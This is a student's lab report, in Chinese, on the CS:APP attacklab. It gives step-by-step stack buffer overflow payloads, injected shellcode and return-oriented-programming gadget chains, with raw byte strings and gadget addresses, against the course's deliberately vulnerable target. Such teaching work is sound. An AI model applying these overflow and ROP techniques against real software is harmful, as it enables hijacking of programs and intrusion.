attacklab实验报告

2022201895 于佳鑫

1.

- 这一题是一道解法很清晰的入门题，即通过getbuf函数输入字符串，覆盖掉返回地址，将返回地址改成touch1的地址，就能调用touch1完成攻击。
- getbuf函数里，首先%rsp减少了0x18，然后将%rsp的值传入%rdi，调用了Gets函数，可以判断出%rdi为函数参数，也是buffer的起始地址。所以我们要做的就是填充完0x18大小的buffer，然后填入touch1的地址。
- ```
  00 00 00 00 00 00
  00 00 00 00 00 00
  00 00 00 00 00 00
  00 00 00 00 00 00 // 24个字节
  27 18 40 00 00 00 00 00 //touch1的地址
  ```

2.

- 相比于第一题，本题在进入touch2之后会需要进行字符串的比较，所以我们需要将cookie的值传入%rdi作为参数。这时需要进行代码的注入来实现这一需求。
- 首先思路是，我们只能在buffer注入攻击代码，所以可以在返回地址处填入%rsp的地址，然后执行movl $0x560d92b8,%edi和retq的指令。执行ret时，%rsp在第一个返回地址上面，于是需要在这里填充touch2函数的地址。
- 我们需要获得%rsp的地址，由于地址是固定的，在使用gdb调试之后，就可以得到%rsp的地址在0x556643a8。我们在反汇编之后便得到了指令的机器码，就可以填充到buffer里面了。
- ```
  bf b8 92 0d 56 //movl $0x560d92b8,%edi
  c3 //retq
  00 00 00 00 00 00
  00 00 00 00 00 00
  00 00 00 00 00 00 //剩下的18个字节
  a8 43 66 55 00 00 00 00 //%rsp的地址
  53 18 40 00 00 00 00 00 //touch2的地址
  ```

3.

- 相比于第二题，这一题传入的参数是cookie的地址，所以我们需要在某一个地方填入cookie的值，然后获得该地址，将地址传入%rdi中作为参数。
- 这里我踩了一个坑，cookie不能放在getbuf的buffer里面，因为在调用touch3的时候会覆盖这一段的内容。所以正确的是应该在返回地址上面的栈放置。其中%rsp的地址在第二题里已经求过了，所以我们可以通过计算算出cookie的地址。
- 这里需要注意的是，buffer填满之后，返回地址填%rsp的地址，然后是touch3的地址，所以需要0x556643a8 + 0x18 + 0x8 + 0x8 = 0x556643d0即为cookie的地址。

- ```
  bf d0 43 66 55 //movl $0x556643d0,%edi
  c3 00 00       //retq
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 //填充剩下的buffer
  a8 43 66 55 00 00 00 00 //%rsp的地址
  27 19 40 00 00 00 00 00 //touch3的地址
  35 36 30 64 39 32 62 38 //cookie的值
  ```

4.

- 从第4题开始，栈上的代码不能执行，所以我们只能通过返回地址跳转到已经有的代码的地方实现攻击。这一题的实现的要求和第二题相同，都是需要将cookie的值传入到%rdi里面。可以想到的方法是将cookie输入到栈上，然后pop到寄存器里面。由于我们首先会跳转到pop指令，所以在第一个返回地址上面填充cookie的值，就能pop到寄存器里面。执行ret时%rsp在第一个cookie之上，所以在cookie上面填充mov函数地址，最后填充touch2的地址。
- 在提示中，能找到的pop的代码只有58，所以先popq到%rax里面，然后使用48 89 c7指令，movq %rax，%rdi。
- ```
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 // 填充buffer
  c8 19 40 00 00 00 00 00 // pop函数地址
  b8 92 0d 56 00 00 00 00 // cookie值
  b8 19 40 00 00 00 00 00 // mov函数地址
  53 18 40 00 00 00 00 00 // touch2地址
  ```

5.

- 这一题与第四题的区别在于，我们需要传入cookie的地址作为参数。但是由于栈的地址是不确定的，所以我们需要计算出来基地址和偏移量，加和得到cookie地址，然后传到%rdi里面。
- 由于需要用到相加的函数，而查阅给定的函数可以发现add_xy函数能实现lea (%rdi,%rsi,1),%rax，所以我们思路是把%rsp的地址放到%rdi里面，bias放到%rsi里面。
- 在检索涉及到%rsp的mov指令之后，发现可以通过两步操作实现：%rsp -> %rax, %rax -> rdi。然后需要调用pop函数，发现只有pop到rax里的，而目标是传送到%rsi里面。检索之后发现可以通过三步操作实现：%eax -> %edx, %edx -> %ecx, %ecx -> %esi。
- 在检索时，值得注意的一点是，除了90无意义之外，还有一些寄存器自己和自己进行位运算的操作也不会改变寄存器的值。由此，我发现了%eax -> %edx有两个函数都可以实现，测试时也是通过的，所以在target153里这题至少有两个答案。
- 最后需要计算一下bias的值，%rdi里面记录的%rsp的值是跳转到第一个返回地址之后的，经过计算得后面共8*9个字节，即偏移量为0x48。
- ```
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 //填充buffer
  86 1a 40 00 00 00 00 00 //%rsp -> %rax
  b7 19 40 00 00 00 00 00 //%rax -> %rdi
  c8 19 40 00 00 00 00 00 //pop %rax
  48 00 00 00 00 00 00 00 //bias
  3e 1a 40 00 00 00 00 00 //%eax -> %edx   p.s.这一行也可以写成：71 1a 40 00 00
  00 00 00
  c9 1a 40 00 00 00 00 00 //%edx -> %ecx
  ```
  ```

```
59 1a 40 00 00 00 00 00 //%ecx -> %esi
f3 19 40 00 00 00 00 00 //(%rdi,%rsi,1),%rax
b7 19 40 00 00 00 00 00 //%rax -> %rdi
27 19 40 00 00 00 00 00 //touch3地址
35 36 30 64 39 32 62 38 //cookie值
```

总的来说，这次lab难度相比于前两次好多了。同时，也非常有趣，非常有收获。我学会了如何使用gdb调试，对一些机器指令有了初步的了解，复习了一下汇编相关知识，同时也认识到了get函数的风险（。